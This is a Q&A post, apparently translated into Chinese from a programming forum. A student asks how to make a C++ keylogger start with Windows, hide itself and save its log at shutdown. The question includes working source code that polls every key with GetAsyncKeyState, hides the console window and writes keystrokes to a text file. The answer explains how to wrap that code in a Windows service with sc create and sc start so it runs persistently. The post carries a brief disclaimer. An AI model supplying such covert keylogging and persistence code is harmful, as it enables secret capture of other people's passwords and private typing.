英文:
when a windows system turn on. my C++ program should activate? how can I do that?
问题
我是一名软件工程师学生。我需要做一个关于C++中键盘记录程序的演示，其中三个主要点是：
- 此应用程序应在Windows系统运行时工作。
- 隐藏控制台应用程序。
- 在关闭系统之前自动保存文本文件。
我已完成第二点。
#include <iostream>
#include <windows.h>
#include <fstream>
#define WINDOWS_LEAN_AND_MEAN
using namespace std;
int main() {
int i;
char j;
char count;
ofstream file("log.txt");
ofstream acii("acii.txt");
while (true) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
acii << i << " ";
if (i >= 65 && i <= 90 || i >= 48 && i <= 57) {
j = i;
file << j;
}
else if (i == 16) {
file << " [SHIFT] ";
}
else if (i == 8) {
file << " [BACK_SPACE] ";
}
else if (i == 32) {
file << " [SPACE] ";
}
else if (i == 17) {
file << " [CTRL] ";
}
else if (i == 13) {
file << " [ENTER] ";
}
else if (i == 190) {
file << " . ";
}
}
}
}
return 0;
}
请注意，这是一个关于键盘记录的程序，具有一些不合法或不道德的潜在用途，使用时请小心并遵守法律和伦理规定。

Using the code provides [here][1], shared by SuperG280 in the comments, you would simply insert your keylog code inside the ServiceWorkerThread() function. Open the files before the while loop, and close them afterwords. The while loop exits when the service is ended, such as when the computer is shutdown.

Add the service with:
> sc create "My Sample Service" binPath= C:\SampleService.exe
Start the service with:
> sc start "My Sample Service"
Remove the service with:
> sc delete "My Sample Service"
